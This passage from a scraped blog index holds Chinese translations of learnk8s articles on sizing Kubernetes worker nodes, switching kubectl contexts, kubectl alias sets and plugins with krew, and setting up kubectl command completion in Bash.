但左侧选项使用4个较小的节点，而右侧选项使用2个较大的节点。\n哪个更好？\n为了解决这个问题，让我们来看看“少数大节点”和“许多小节点”这两个相反方向思路的优缺点。\n请注意，本文中的“节点”始终指的是工作节点(worker node)。master节点的数量和大小的选择是完全不同的话题。\n使用少量大节点 这方面最极端的情况是仅使用一个可以提供整个所需集群容量的工作节点。\n如果要满足上面的示例中容量的需求，这将是一个具有16个CPU内核和16 GB RAM的单个工作节点。\n让我们来看看这种方法可能具有的优势。\n1. 减少管理成本 简单地说，管理少量机器比管理大量机器要更省力。\n更新和补丁可以更快地应用，机器可以更容易保持同步。\n此外，对于机器数量少而言，预期故障的绝对数量要小于机器数量多的情况。\n但请注意，这主要适用于裸机服务器而不适用于云实例。\n如果您使用云实例（作为托管Kubernetes服务的一部分或您在云基础架构上安装的Kubernetes），则将底层机器的管理外包给云提供商。\n因此，管理云中的10个节点并不比管理云中的单个节点成本多得多。\n2. 每个节点的成本更低 虽然更强大的机器比低端机器更昂贵，但价格上涨不一定是线性的。\n换句话说，具有10个CPU内核和10 GB RAM的单台机器可能比具有1个CPU内核和1 GB RAM的10台机器便宜。\n但请注意，如果您使用云实例，这可能同样不适用。\n在主要云提供商Amazon Web Services，Google Cloud Platform和Microsoft Azure的当前定价方案中，实例价格是随容量线性增加的。\n例如，在Google Cloud Platform上，64个n1-standard-1实例的成本与单个n1-standard-64实例完全相同- 两个选项都为您提供64个CPU内核和240 GB内存。\n因此，在云中，您通常无法通过使用更大的机器来节省成本。\n3. 允许运行资源消耗较大的应用程序 拥有大型节点可能只是您要在集群中运行一类应用程序的要求。\n例如，如果您有一台需要8 GB内存的机器学习应用程序，你无法在仅具有1 GB内存的节点的集群上运行它。\n但是，您可以在具有10 GB内存节点的群集上运行它。\n看过优势后，让我们再来看看其弊端又是什么。\n1. 每个节点有大量的pod 在较少的节点上运行相同的工作负载自然意味着在每个节点上运行更多的pod。\n这可能成为一个问题。\n原因是每个pod都会在节点上运行的Kubernetes代理上引入一些开销 – 例如容器运行时（例如Docker），kubelet和cAdvisor。\n例如，kubelet对节点上的每个容器执行常规活动和就绪探测 – 更多容器意味着在每次迭代中kubelet需要做更多的工作。\ncAdvisor收集节点上所有容器的资源使用统计信息，并且kubelet定期查询此信息并通过其API发布它 – 再次，这意味着每次迭代中cAdvisor和kubelet的工作量都会增加。\n如果pod的数量变大，这些东西可能会开始减慢系统速度，甚至使系统变得不可靠。\n有issue称节点因常规的kubelet运行状况检查花费了太长时间来迭代节点上的所有容器而导致节点处于非就绪状态。\n出于这些原因，Kubernetes 建议每个节点最多110个pod。\n针对这个数字，Kubernetes已经做过测试，结果证明是可以在通常节点类型上可靠地工作的。\n根据节点的性能，您可能能够成功地为每个节点运行更多的pod – 但这依然很难预测事情是否会顺利运行，又或您将遇到问题。\n大多数托管Kubernetes服务甚至对每个节点的pod数量施加了严格的限制：\n在Amazon Elastic Kubernetes Service（EKS）上，每个节点的最大pod数取决于节点类型，范围从4到737。 在Google Kubernetes Engine（GKE）上，无论节点类型如何，每个节点的限制为100个pod。 在Azure Kubernetes服务（AKS）上，默认限制是每个节点30个pod，但最多可以增加到250个。 因此，如果您计划为每个节点运行大量pod，则应该事先测试事情是否能按预期工作。\n2. 有限的复制 少量节点可能会限制应用程序的有效复制程度。\n例如，如果您有一个由5个副本组成的高可用性应用程序，但您只有2个节点，那么应用程序的有效复制程度将减少到2。\n这是因为5个副本只能分布在2个节点上，如果其中一个失败，它可能会同时删除多个副本。\n另一方面，如果您有至少5个节点，则理想情况下每个副本可以在单独的节点上运行，并且单个节点的故障最多只会删除一个副本。\n因此，如果您具有高可用性要求，则可能需要对集群中的最小节点数提出要求。\n3. 更大的爆破半径 如果您只有几个节点，那么失败节点的影响比您有许多节点的影响要大。\n例如，如果您只有两个节点，并且其中一个节点出现故障，那么大约一半的节点会消失。\nKubernetes可以将失败节点的工作负载重新安排到其他节点。\n但是，如果您只有几个节点，则风险更高，因为剩余节点上没有足够的备用容量来容纳故障节点的所有工作负载。\n结果是，部分应用程序将永久停机，直到再次启动故障节点。\n因此，如果您想减少硬件故障的影响，您可能希望选择更多的节点。\n4. 大比例增量 Kubernetes 为云基础架构提供了一个Cluster Autoscaler，允许根据当前需求自动添加或删除节点。\n如果使用大型节点，则会有大的缩放增量，这会使缩放更加笨重。\n例如，如果您只有2个节点，则添加其他节点意味着将群集容量增加50％。\n这可能比您实际需要的多得多，这意味着您需要为未使用的资源付费。\n因此，如果您计划使用集群自动缩放，则较小的节点允许更流畅且经济高效的缩放行为。\n在讨论了使用”很少几个大节点”的方案的优缺点之后，让我们转向”许多小节点”的场景。\n使用大量小节点 这种方法包括从许多小节点而不是几个大节点中形成集群。\n这种方法的优点和缺点是什么？\n使用许多小节点的优点主要对应于使用少量大节点的缺点。\n1. 较小的爆破半径 如果您有更多节点，则每个节点上的pod自然会更少。\n例如，如果您有100个pod和10个节点，则每个节点平均只包含10个pod。\n因此，如果其中一个节点发生故障，则影响仅限于总工作负载的较小比例。\n有可能只有一些应用程序受到影响，并且可能只有少量副本，因此整个应用程序都会保持运行状态。\n此外，剩余节点上的备用资源很可能足以容纳故障节点的工作负载，因此Kubernetes可以重新安排所有pod，并且您的应用程序可以相对快速地返回到完全正常运行的状态。\n2. 允许高可复制性 如果您有高可用性需求的应用程序和足够的可用节点，Kubernetes调度程序可以将每个副本分配给不同的节点。\n您可以通过节点亲缘关系，pod亲和力/反亲和力以及taint和tolerations来影响调度程序对pod放置位置的选择。\n这意味着如果某个节点出现故障，则最多只有一个副本受影响且您的应用程序仍然可用。\n看到使用许多小节点的优点，那它有什么缺点呢？\n1. 节点数量大 如果使用容量较小的节点，则自然需要更多节点来实现给定的集群容量。\n但是大量节点对Kubernetes控制平面来说可能是一个挑战。\n例如，每个节点都需要能够与每个其他节点通信，这使得可能的通信路径数量以节点数量的平方的量级增长 – 所有节点都必须由控制平面管理。\nKubernetes控制器管理器中的节点控制器定期遍历集群中的所有节点以运行运行状况检查 – 更多节点意味着节点控制器的负载更多。\n更多节点意味着etcd数据库上的负载也更多 – 每个kubelet和kube-proxy都会导致etcd的观察者(watch)客户端（通过API服务器），etcd必须广播对象更新。\n通常，每个工作节点都会给主节点上的系统组件增加一些开销。\n据官方统计，Kubernetes声称支持最多5000个节点的集群。\n然而，在实践中，500个节点可能已经构成了较大的挑战。\n通过使用性能更高的主节点，可以减轻大量工作节点的影响。\n这就是在实践中所做的 – 这里是kube-up在云基础架构上使用的主节点大小：\nGoogle云端平台 5个工作节点→ n1-standard-1主节点 500个工作节点→ n1-standard-32主节点 亚马逊网络服务 5个工作节点→ m3.medium主节点 500个工作节点→ c4.8xlarge主节点 如您所见，对于500个工作节点，使用的主节点分别具有32和36个CPU核心以及120 GB和60 GB内存。\n这些都是相当大的机器！\n因此，如果您打算使用大量小节点，则需要记住两件事：\n您拥有的工作节点越多，您需要的性能就越高 如果您计划使用超过500个节点，则可能会遇到一些需要付出一些努力才能解决的性能瓶颈 像Virtual Kubelet这样的新项目允许绕过这些限制，并允许具有大量工作节点的集群。\n2. 更多系统开销 Kubernetes在每个工作节点上运行一组系统守护进程 – 包括容器运行时（例如Docker），kube-proxy和包含cAdvisor的kubelet。\ncAdvisor包含在kubelet二进制文件中。\n所有这些守护进程一起消耗固定数量的资源。\n如果使用许多小节点，则这些系统组件使用的资源部分比例会更大。\n例如，假设单个节点的所有系统守护程序一起使用0.1个CPU内核和0.1 GB内存。\n如果您拥有10个CPU核心和10 GB内存的单个节点，那么守护程序将占用集群容量的1％。\n另一方面，如果您有1个CPU核心和1 GB内存的10个节点，则后台程序将占用集群容量的10％。\n因此，在第二种情况下，10％的账单用于运行系统，而在第一种情况下，它只有1％。\n因此，如果您希望最大化基础架构支出的回报，那么您可能更喜欢更少的节点。\n3. 降低资源利用率 如果您使用较小的节点，那么最终可能会有大量资源片段太小而无法分配给任何工作负载，因此保持未使用状态。\n例如，假设您的所有pod都需要0.75 GB的内存。\n如果你有10个1 GB内存的节点，那么你可以运行10个这些pod – 你最终会在每个节点上有一块0.25 GB的内存，你不能再使用它了。\n这意味着，集群总内存的25％被浪费了。\n另一方面，如果您使用具有10 GB内存的单个节点，那么您可以运行13个这样的pod – 而只有0.25 GB的单块内存剩下无法使用。\n在这种情况下，您只会浪费2.5％的内存。\n因此，如果您想最大限度地减少资源浪费，使用更大的节点可能会提供更好的结果。\n4. 小节点上的Pod限制 在某些云基础架构上，小节点上允许的最大pod数量比您预期的要限制得多。\nAmazon Elastic Kubernetes Service（EKS）就是这种情况，其中每个节点的最大pod数取决于实例类型。\n例如，对于一个t2.medium实例，pod的最大数量是17，因为t2.small它是11，而t2.micro它是4。\n这些都是非常小的数字！\n任何超出这些限制的pod都无法由Kubernetes调度程序安排，这些pod会一直保持在Pending状态。\n如果您不了解这些限制，则可能导致难以发现的错误。\n因此，如果您计划在Amazon EKS上使用小节点，请检查相应的每节点pods数，并多算几次计算节点是否可以容纳所有pod。\n结论 那么，您应该在集群中使用少量大型节点还是许多小型节点？\n一如既往，没有明确的答案。\n您要部署到集群的应用程序类型可能会指导您的决策。\n例如，如果您的应用程序需要10 GB内存，则可能不应使用小节点 – 集群中的节点应至少具有10 GB内存。\n或者，如果您的应用程序需要10倍的复制性以实现高可用性，那么您可能不应该只使用2个节点 – 您的集群应该至少有10个节点。\n对于中间的所有场景，它取决于您的具体要求。\n以上哪项优缺点与您相关？哪个不是？\n话虽如此，没有规则规定所有节点必须具有相同的大小。\n没有什么能阻止您在集群中使用不同大小节点混合在一起的方案。\nKubernetes集群的工作节点可以是完全异构的。\n这可能会让您权衡两种方法的优缺点。\n最后，证明布丁好坏就在于吃 – 最好的方法是试验并找到最适合你的组合！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/09/05/kubernetes-node-size/","summary":"\u003cblockquote\u003e\n\u003cp\u003e近期\u003ca href=\"https://learnk8s.io/\"\u003elearnk8s网站\u003c/a\u003e上发布了一些关于k8s的好文章，这里搬运并翻译了一些，供大家参考。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本文翻译自\u003ca href=\"https://learnk8s.io/kubernetes-node-size/\"\u003e《Architecting Kubernetes clusters — choosing a worker node size》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s/kubernetes-node-size-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e当您创建\u003ca href=\"https://coding.imooc.com/class/284.html\"\u003eKubernetes集群\u003c/a\u003e时，冒出的第一个问题之一是：“我应该使用哪种类型的工作节点以及需要多少个这样的节点”。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e如果您正在构建在内部部署的\u003ca href=\"https://tonybai.com/tag/k8s\"\u003ek8s集群\u003c/a\u003e，是应该订购一些最近一代的新服务器，还是使用数据中心内的十几台旧机器？\u003c/p\u003e\n\u003cp\u003e或者，如果您使用Google Kubernetes Engine（GKE）等托管Kubernetes服务，您是否应该使用八个n1-standard-1或两个n1-standard-4实例来实现所需的计算能力呢？\u003c/p\u003e","title":"构建Kubernetes集群 – 选择工作节点大小"},{"content":"本文翻译自《Boosting your kubectl productivity》。\n第一部分：什么是kubectl？\n第二部分：命令完成、资源规范快速查看和自定义列输出格式什么是kubectl？\n4. 轻松切换集群和名称空间 当kubectl必须向Kubernetes API发出请求时，它会读取系统上所谓的kubeconfig文件，以获取它需要访问的所有连接参数并向API服务器发出请求。\n默认的kubeconfig文件是~/.kube/config。此文件通常由某个命令自动创建或更新（例如，aws eks update-kubeconfig或者gcloud container clusters get-credentials，如果您使用托管Kubernetes服务）。\n使用多个集群时，您的kubeconfig文件中配置了多个集群的连接参数。这意味着，您需要一种方法来告诉kubectl 您希望它连接到哪个集群。\n在集群中，您可以设置多个名称空间（名称空间是物理集群中的一种“虚拟”集群）。Kubectl也会从kubeconfig文件确定用于请求的命名空间。因此，您需要一种方法来告诉kubectl 您希望它使用哪个命名空间。\n本节将介绍kubectl切换集群上下文的原理以及它是如何轻松完成的。\n请注意，您还可以在KUBECONFIG环境变量中列出多个kubeconfig文件。在这种情况下，所有这些文件将在执行时合并为单个有效配置。您还可以使用–kubeconfig指定kubectl命令的选项以覆盖默认的kubeconfig文件。请参阅官方文档。\nKubeconfig文件 让我们看看kubeconfig文件实际包含的内容：\n如您所见，kubeconfig文件由一组上下文组成。上下文包含以下三个元素：\n集群(cluster)：集群的API服务器的URL 用户(user)：集群的特定用户的身份验证凭据 命名空间(namespace)：连接到集群时使用的命名空间 实际上，人们经常在他们的kubeconfig文件中为每个集群的配置一个上下文。但是，你也可以为每个集群配置多个上下文，其用户或命名空间不同。但这似乎不太常见，因此通常在集群和上下文之间存在一对一的映射。\n在任何给定时间，其中一个上下文被设置为当前上下文（通过kubeconfig文件中的专用字段）：\n当kubectl读取kubeconfig文件时，它总是使用当前上下文中的信息。因此，在上面的例子中，kubectl将连接到Hare集群。\n因此，要切换到另一个集群，您只需更改kubeconfig文件中的当前上下文：\n在上面的示例中，kubectl现在将连接到Fox集群。\n要切换到同一集群中的另一个命名空间，您可以更改当前上下文的命名空间元素的值：\n在上面的示例中，kubectl现在将使用Fox群集中的Prod命名空间（而不是之前设置的Test命名空间）。\n请注意，kubectl还提供了–cluster，–user和–namespace，以及–context允许您覆盖单个元素和当前上下文本身的选项，无论kubeconfig文件中设置了什么。见kubectl options。\n理论上，您可以通过手动编辑kubeconfig文件来执行这些更改。但当然这很乏味。以下部分介绍了允许您自动执行这些更改的各种工具。\n使用kubectx kubectx是一种非常流行的用于在集群和命名空间之间切换的工具。\n此工具提供允许您分别更改当前上下文和命名空间的命令kubectx和kubens命令。\n如上所述，如果每个集群只有一个上下文，则更改当前上下文意味着更改集群。\n在这里，您可以看到这两个命令：\n在表象之下，这些命令只是编辑kubeconfig文件，如上一节中所述。\n要安装kubectx，只需按照GitHub页面上的说明操作即可。\nkubectx和kubens都通过完成交办提供命令完成(command completion)。这允许您自动完成上下文名称和名称空间，这样您就不必完全键入它们。您也可以在GitHub页面上找到设置完成的说明。\nkubectx的另一个有用功能是交互模式。这与fzf工具结合使用，您必须单独安装（事实上，安装fzf，将自动启用kubectx交互模式）。交互模式允许您通过交互式模糊搜索界面（由fzf提供）选择目标上下文或命名空间。\n使用shell别名 实际上，您并不需要单独的工具来更改当前上下文和命名空间，因为kubectl也提供了执行此操作的命令。特别是，该kubectl config命令提供了用于编辑kubeconfig文件的子命令。这里是其中的一些：\nkubectl config get-contexts：列出所有上下文 kubectl config current-context：获取当前上下文 kubectl config use-context：更改当前上下文 kubectl config set-context：更改上下文的元素 但是，直接使用这些命令并不是很方便，因为它们很难输入。但是你可以做的是将它们包装成可以更容易执行的shell别名。\n我基于这些命令创建了一组别名，这些命令提供了与kubectx类似的功能。在这里你可以看到他们的行动：\n请注意，别名使用fzf来提供交互式模糊搜索界面（如kubectx的交互模式）。这意味着，您需要安装fzf才能使用这些别名。\n以下是别名的定义：\n# Get current context alias krc='kubectl config current-context' # List all contexts alias klc='kubectl config get-contexts -o name | sed \u0026quot;s/^/ /;\\|^ $(krc)$|s/ /*/\u0026quot;' # Change current context alias kcc='kubectl config use-context \u0026quot;$(klc | fzf -e | sed \u0026quot;s/^..//\u0026quot;)\u0026quot;' # Get current namespace alias krn='kubectl config get-contexts --no-headers \u0026quot;$(krc)\u0026quot; | awk \u0026quot;{print \\$5}\u0026quot; | sed \u0026quot;s/^$/default/\u0026quot;' # List all namespaces alias kln='kubectl get -o name ns | sed \u0026quot;s|^.*/| |;\\|^ $(krn)$|s/ /*/\u0026quot;' # Change current namespace alias kcn='kubectl config set-context --current --namespace \u0026quot;$(kln | fzf -e | sed \u0026quot;s/^..//\u0026quot;)\u0026quot;' 要安装这些别名，你只需要在上面定义添加到您的~/.bashrc或~/.zshrc文件，并重新加载你的shell(source ~/.bashrc or source ~/.zshrc)！\n使用插件 Kubectl允许安装可以像本机命令一样调用的插件。例如，您可以安装名为kubectl-foo的插件，然后将其调用为kubectl foo。\nKubectl插件将在本文的后续部分中详细介绍。\n能够像这样更改当前上下文和命名空间不是很好吗？例如，运行kubectl ctx以更改上下文，kubectl ns更改名称空间？\n我创建了两个允许这样做的插件：\nkubectl-CTX kubectl-NS 在内部，插件构建在上一节的别名之上。\n在这里你可以看到插件的实际效果：\n请注意，插件使用fzf来提供交互式模糊搜索界面。这意味着，您需要安装fzf才能使用这些插件。\n要安装插件，你只需要将名为的shell脚本kubectl-ctx和kubectl-ns的脚本下载以到PATH下的任何目录中，并使他们具备可执行权限（例如，使用chmod +x）。紧接着，你就应该能够使用kubectl ctx和kubectl ns！\n5. 使用自动生成的别名减少输入 Shell别名通常是减少手工输入的好方法。该kubectl-aliases项目就是以这个想法为核心，并提供800多个kubectl命令别名。\n您可能想知道如何记住800个别名？实际上，您不需要记住它们，因为它们都是根据一个简单的方案生成的，下面将显示一些示例别名：\n如您所见，别名由**组件(component)**组成，每个组件代表kubectl命令的特定元素。每个别名可以有一个用于基本命令，操作和资源的组件，以及用于选项的多个组件，您只需根据上述方案从左到右“填充”这些组件。\n请注意，目前完全详细的方案在GitHub页面上。在那里，您还可以找到别名的完整列表。\n例如，别名kgpooyamlall代表命令kubectl get pods -o yaml –all-namespaces：\n请注意，大多数选项组件的相对顺序无关紧要。所以，kgpooyamlall相当于kgpoalloyaml。\n您不需要将所有组件用于别名。例如k，kg，klo，ksys，或者kgpo是有效的别名也。此外，您可以在命令行中将别名与其他单词组合使用。\n例如，您可以k proxy用于运行kubectl proxy：\n或者您可以kg roles用于运行kubectl get roles（目前不存在Roles资源的别名组件）：\n要获取特定Pod，您可以使用kgpo my-pod以运行kubectl get pod my-pod：\n请注意，某些别名甚至需要在命令行上的进一步参数。例如，kgpol别名代表kubectl get pods -l。该-l选项需要一个参数（标签规范）。所以，你必须使用这个别名，例如，像这样:\n出于这个原因，你可以使用a，f以及l只在一个别名的结尾部分。\n一般来说，一旦你掌握了这个方案，就可以直观地从你想要执行的命令中推断出别名，并节省大量的输入！\n安装 要安装kubectl-别名，你只需要下载.kubectl-aliasesGitHub文件，并在你的~/.bashrc或~/.zshrc文件生效它：\nsource ~/.kubectl_aliases 重新加载shell后，您应该能够使用所有800个kubectl别名！\n命令完成 如您所见，您经常在命令行上向别名添加更多单词。例如：\n$kgpooyaml test-pod-d4b77b989 如果你使用kubectl命令完成，那么你可能习惯于自动完成资源名称之类的事情。但是当你使用别名时，你还可以这样做吗？\n这是一个重要的问题，因为如果它不起作用，那将消除这些别名的一些好处！\n答案取决于您使用的shell。\n对于Zsh，完成对于别名是开箱即用的。\n不幸的是，对于Bash，默认情况下，对于别名，完成功能不起作用。好消息是它可以通过一些额外的步骤来完成。下一节将介绍如何执行此操作。\n在Bash中启用别名的完成 Bash的问题在于它尝试在别名上尝试完成（每当你按Tab键），而不是在别名命令（如Zsh）上。由于您没有所有800个别名的完成脚本，因此不起作用。\ncomplete-alias项目提供了解决这个问题的通用解决方案。它使用别名的完成机制，在内部将别名扩展到别名命令，并返回扩展命令的完成建议。这意味着，它使别名的完成行为与别名命令完全相同。\n在下文中，我将首先解释如何安装complete-alias，然后如何配置它以启用所有kubectl别名的完成。\n安装complete-alias 首先，complete-alias依赖于bash-completion。因此，您需要确保在安装complete-alias之前安装了bash-completion。早先已经为Linux和macOS提供了相关说明。\n对于macOS用户的重要注意事项：与kubectl完成脚本一样，complete-alias不适用于Bash 3.2，这是macOS上Bash的默认版本。特别是，complete-alias依赖于bash-completion v2（brew install bash-completion@2），它至少需要Bash 4.1。这意味着，要在macOS上使用complete-alias，您需要安装较新版本的Bash。\n要安装complete-alias，您只需bash_completion.sh从GitHub存储库下载脚本，并将其在您的~/.bashrc文件中source：\nsource ~/bash_completion.sh 重新加载shell后，应正确安装complete-alias。\n启用kubectl别名的完成 从技术上讲，complete-alias提供了_complete_aliasshell函数。此函数检查别名并返回别名命令的完成建议。\n要将其与特定别名挂钩，您必须使用completeBash内置来设置别名_complete_alias的完成功能。\n举个例子，我们k来看一下代表kubectl命令的别名。要设置_complete_alias此别名的完成功能，您必须执行以下命令：\n$complete -F _complete_alias k 这样做的结果是，无论何时在k别名上自动完成，_complete_alias都会调用该函数，该函数检查别名并返回kubectl命令的完成建议。\n作为另一个例子，让我们采用kg代表的别名kubectl get：\n$complete -F _complete_alias kg 同样，这样做的结果是，当您自动完成时kg，您将获得与之相同的完成建议kubectl get。\n请注意，可以以这种方式对系统上的任何别名使用complete-alias。\n因此，要启用所有 kubectl别名的完成，您只需为每个别名运行上述命令。以下代码片段完全相同（假设您安装了kubectl-aliases ~/.kubectl-aliases）：\nfor _a in $(sed '/^alias /!d;s/^alias //;s/=.*$//' ~/.kubectl_aliases); do complete -F _complete_alias \u0026quot;$_a\u0026quot; done 只需将此片段添加到您的~/.bashrc文件中，重新加载您的shell，现在您应该可以使用所有800 kubectl别名的完成！\n6. 使用插件扩展kubectl 从版本1.12开始，kubectl包含一个插件机制，允许您使用自定义命令扩展kubectl。\n以下是kubectl插件的示例，可以调用为kubectl hello：\n$ kubectl hello Hello, I'm a kubectl plugin! kubectl插件机制将严格遵循Git插件机制的设计。\n本节将向您展示如何安装插件，您可以在哪里找到现有的插件，以及如何创建自己的插件。\n安装插件 Kubectl插件作为简单的可执行文件分发，其名称的形式为kubectl-x。前缀kubectl-是必需的，接下来是允许调用插件的新kubectl子命令。\n例如，上面显示的hello插件将作为名为的文件分发kubectl-hello。\n要安装插件，您只需将kubectl-x文件复制到您的任何目录中PATH并使其可执行（例如，使用chmod +x）。之后，您可以立即调用该插件kubectl x。\n您可以使用以下命令列出系统上当前安装的所有插件：\n$kubectl plugin list 如果您有多个具有相同名称的插件，或者存在不可执行的插件文件，则此命令还会显示警告。\n使用krew查找和安装插件 Kubectl插件可以像软件包一样共享和重用。但是在哪里可以找到其他人共享的插件？\n该krew项目旨在提供一个统一的解决方案，共享，查找，安装和管理kubectl插件。该项目将自己称为“kubectl插件的包管理器”（名称krew是brew的提示）。\nKrew 以kubectl插件索引为中心，您可以从中选择和安装。\n$ kubectl krew search | less $ kubectl krew search view $ kubectl krew info view-utilization $ kubectl krew install view-utilization $ kubectl krew list 如您所见，krew本身是一个kubectl插件。这意味着，安装krew本质上就像安装任何其他kubectl插件一样。您可以在GitHub页面上找到krew的详细安装说明。\n最重要的krew命令如下：\n# Search the krew index (with an optional search query) $ kubectl krew search [\u0026lt;query\u0026gt;] # Display information about a plugin $ kubectl krew info \u0026lt;plugin\u0026gt; # Install a plugin $ kubectl krew install \u0026lt;plugin\u0026gt; # Upgrade all plugins to the newest versions $ kubectl krew upgrade # List all plugins that have been installed with krew $ kubectl krew list # Uninstall a plugin $ kubectl krew remove \u0026lt;plugin\u0026gt; 请注意，使用krew安装插件并不妨碍以传统方式安装插件。即使你使用krew，你仍然可以通过其他方式安装你在其他地方找到的插件（或自己创建）。\n请注意，该kubectl krew list命令仅列出已使用krew安装的插件，而该kubectl plugin list命令列出了所有插件，即使用krew安装的插件和以其他方式安装的插件。\n在其他地方寻找插件 Krew仍然是一个年轻的项目，目前krew索引中只有大约30个插件。如果你在那里找不到你需要的东西，你可以在其他地方寻找插件，例如，在GitHub上。\n我建议查看kubectl-plugins GitHub主题。你会发现有几十个可用的插件值得一看。\n创建自己的插件 当然，您可以创建自己的kubectl插件，这很容易实现。\n您只需创建一个可执行文件，执行您想要的操作，为其命名kubectl-x，然后按上述方法安装它。\n可执行文件可以是任何类型，Bash脚本，编译的Go程序，Python脚本，它确实无关紧要。唯一的要求是它可以由操作系统直接执行。\n我们现在创建一个示例插件。在上部分中，您使用kubectl命令列出每个pod的容器镜像。您可以轻松地将此命令转换为可以调用的插件，比如说kubectl img。\n为此，只需创建一个名为kubectl-img以下内容的文件：\n#!/bin/bash kubectl get pods -o custom-columns='NAME:metadata.name,IMAGES:spec.containers[*].image' 现在使文件可执行，chmod +x kubectl-img并将其移动到您的任何PATH中的目录。之后，您可以立即开始使用该插件kubectl img！\n如上所述，kubectl插件可以用任何编程语言或脚本语言编写。如果使用shell脚本，则可以从插件轻松调用kubectl。但是，您可以使用实际编程语言编写更复杂的插件，例如，使用Kubernetes客户端库。如果使用Go，您还可以使用cli-runtime库，它专门用于编写kubectl插件。\n分享你的插件 如果您认为其中一个插件可能对其他人有用，请随时在GitHub上分享。确保将其添加到kubectl-plugins主题中，以便其他人可以找到它。\n您还可以请求将您的插件添加到krew索引中。您可以在krew GitHub存储库中找到有关如何执行此操作的说明。\n命令完成 目前，插件机制遗憾的是还不支持命令完成。这意味着您需要完全键入插件名称以及插件的任何参数。\n但是，在kubectl GitHub存储库中有一个处于open状态的功能请求issue。因此，此功能有可能在将来的某个时间得到实现。\n以上就是有关kubectl高效使用的所有内容了！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/08/31/kubectl-productivity-part3/","summary":"\u003cp\u003e本文翻译自\u003ca href=\"https://learnk8s.io/blog/kubectl-productivity/\"\u003e《Boosting your kubectl productivity》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e第一部分：\u003ca href=\"https://tonybai.com/2019/08/29/kubectl-productivity-part1/\"\u003e什么是kubectl？\u003c/a\u003e\u003cbr\u003e\n第二部分：\u003ca href=\"https://tonybai.com/2019/08/30/kubectl-productivity-part2/\"\u003e命令完成、资源规范快速查看和自定义列输出格式什么是kubectl？\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"4-轻松切换集群和名称空间\"\u003e4. 轻松切换集群和名称空间\u003c/h2\u003e\n\u003cp\u003e当kubectl必须向\u003ca href=\"https://tonybai.com/tag/k8s\"\u003eKubernetes\u003c/a\u003e API发出请求时，它会读取系统上所谓的kubeconfig文件，以获取它需要访问的所有连接参数并向API服务器发出请求。\u003c/p\u003e","title":"提高您的kubectl生产力（第三部分）：集群上下文切换、使用别名减少输入和插件扩展"},{"content":"本文翻译自《Boosting your kubectl productivity》。\n第一部分：什么是kubectl？\n1. 通过命令完成(command completion)减少输入 命令完成是提高你的kubectl生产力的最有用但经常被忽视的技巧之一。\n命令完成允许您使用Tab键自动完成kubectl命令的各个部分。这适用于子命令，选项和参数，包括资源名称等难以输入的内容。\n在这里你可以看到kubectl命令完成的动作：\n命令完成在Bash和Zsh shell下均可用。\n在官方文档中包含有关设置命令完成的详细说明，下面的章节我们再带着大家回顾一下。\n命令完成的工作原理 通常，命令完成是一个shell功能，它通过completion script(完成脚本)的方式工作。完成脚本是一个shell脚本，用于定义特定命令的完成行为。获取完成脚本可以完成相应的命令。\nKubectl可以使用以下命令自动生成并打印出Bash和Zsh的完成脚本：\n$kubectl completion bash # or $kubectl completion zsh 理论上，在适当的shell中获取此命令的输出可以完成kubectl命令。\n但是，在实践中，Bash（包括Linux和macOS之间的差异）和Zsh的细节不同。以下部分解释了所有这些情况：\n在Linux上为Bash设置命令完成 在macOS上设置Bash的命令完成 设置Zsh的命令完成 在Linux上的Bash Bash的完成脚本取决于bash-completion项目，因此您必须先安装它。\n您可以使用各种包管理器安装bash-completion 。例如：\n$sudo apt-get install bash-completion # or $yum install bash-completion 您可以使用以下命令测试是否正确安装了bash-completion：\n$type _init_completion 如果这输出shell函数的代码，则已正确安装bash-completion。如果该命令输出not found错误，则必须将以下行添加到您的~/.bashrc文件中：\n$source /usr/share/bash-completion/bash_completion 是否必须将此行添加到您的~/.bashrc文件中，取决于您用于安装bash-completion的包管理器。对于APT来说，这是必要的，对于yum，则无需。\n安装bash-completion后，您必须进行设置，以便在所有shell会话中获取kubectl 完成脚本。\n一种方法是将以下行添加到您的~/.bashrc文件中：\nsource \u0026lt;(kubectl completion bash) 另一种可能性是将kubectl完成脚本添加到/etc/bash_completion.d目录中（如果它不存在则创建它）：\n$kubectl completion bash \u0026gt;/etc/bash_completion.d/kubectl /etc/bash_completion.d目录中的所有完成脚本都是由bash-completion自动获取的。\n两种方法都是等价的。\n重新加载shell后，kubectl命令完成应该正常工作！\n在MacOS上的Bash 